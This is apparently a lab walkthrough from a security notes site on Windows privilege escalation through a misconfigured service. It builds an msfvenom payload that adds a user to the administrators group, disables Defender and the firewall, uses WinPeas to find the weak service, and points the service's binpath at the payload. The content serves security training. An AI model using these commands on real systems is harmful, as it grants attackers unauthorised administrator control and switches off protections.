# Windows Privilege Escalation

## Using WinPeas

* Making use of an exe that is vulnerable to unquoted service paths
* Target Windows machine has a non-privileged user: localuser
* Use MSFVenom: Generate an executable to push the localuser to the administrators group (ASCService.exe)

#### 1 . Generate Payload using MSFVenom

{% code overflow="wrap" %}
```python
#Generate the malicious exe
msfvenom -p windows/exec CMD='net localgroup administrators localuser /add' -f exe-service -o ASCService.exe
```
{% endcode %}

<figure><img src="https://2068334946-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fow1iM27u7disHeJiSlBC%2Fuploads%2FQv2iLDSYAn7svEGdaDno%2Fimage.png?alt=media&#x26;token=587e10a5-4ad5-4973-bf28-a20ecaea8f6a" alt=""><figcaption><p>ASCService.exe</p></figcaption></figure>

#### 2. Start Web Server on Attack Machine

```
// python server
python3 -m http.server
```

#### 3. Disable Windows Defender & Firewall on Victim Windows Machine

Run the following as powershell administrators

{% code overflow="wrap" %}
```powershell
Set-MpPreference -DisableRealtimeMonitoring $true

Set-MpPreference -MAPSReporting 0

Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
```
{% endcode %}

#### 4. Connect back to Attack Machine on Windows Victim via browser

<figure><img src="https://2068334946-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fow1iM27u7disHeJiSlBC%2Fuploads%2FEOdcl2JTYGrkRiMT1cfy%2Fimage.png?alt=media&#x26;token=d46fba93-5243-4be6-9195-7e6ad7a43c29" alt=""><figcaption><p>Attacker IP is 172.31.24.120</p></figcaption></figure>

Navigate and download the payloads

<figure><img src="https://2068334946-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fow1iM27u7disHeJiSlBC%2Fuploads%2Fxa17zWHXEtFGGO9ClRRf%2Fimage.png?alt=media&#x26;token=ba83a266-4204-445b-84ff-25f8f9b8bbe7" alt=""><figcaption></figcaption></figure>

* &#x20;move these downloads to the C:/ folder
* Next we will need to add permissions so that the local users are able to start and stop the service. This is how we simulate excessive permissions on a service.

{% code overflow="wrap" %}
```powershell
# Run cmd as administrator
sc sdset AdvancedSystemCareService9 D:AR(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)(A;;CCLCSWLOCRRC;;;IU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
```
{% endcode %}

You should see a response of **\[SC] SetServiceObjectSecurity SUCCESS**.

### Run Command Prompt as Different User

Search cmd > right click > run as diff user

### Check which accounts are in local administrators group

C:\ > net localgroup administrators

<figure><img src="https://2068334946-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fow1iM27u7disHeJiSlBC%2Fuploads%2FOfxBWWWmua1aV7sDUgwB%2Fimage.png?alt=media&#x26;token=0c06bc2d-0c3b-4acb-9b29-3a4a01b81ca1" alt=""><figcaption></figcaption></figure>

### Run WinPeas.exe

<figure><img src="https://2068334946-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fow1iM27u7disHeJiSlBC%2Fuploads%2F4kfrqHw2wcYj1e85OCSY%2Fimage.png?alt=media&#x26;token=c576fc9e-d6ff-465e-85c7-e6409e617070" alt=""><figcaption><p>WinPeas.exe to enumerate PE paths on Windows systems</p></figcaption></figure>

1. Run check for services information

```
C:/> WINpeasX64.exe CMD servicesinfo
```

<figure><img src="https://2068334946-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fow1iM27u7disHeJiSlBC%2Fuploads%2FBVZDOqPayjnBX6sOnKJV%2Fimage.png?alt=media&#x26;token=eec69d29-6b33-4303-85e9-e7619eeb80fa" alt=""><figcaption><p>We can see the allAccess enabled for <strong>AdvancedSystemCareService9</strong> modifiable service.</p></figcaption></figure>

A few sections often used for privilege escalation are the&#x20;

* **Interesting Services -non Microsoft-**&#x20;
* **Modifiable Services** sections.

Now query the service using&#x20;

```
sc qc AdvancedSystemCareService9
#This service runs as LocalSystem
```

Next attempt to start and stop the service using:

```
net stop AdvancedSystemCareService9
```

Now we try to modify the service binpath to point to our new executable. Add a new additional user:

```
sc config AdvancedSystemCareService9 binpath= "c:\ASCService.exe"
```

Now start our payload executable:

```
net start AdvancedSystemCareService9
```

Since we have permissions and can modify the service itself, we leverage the service to add the localuser to the local admin group

```
net localgroup administrators
```
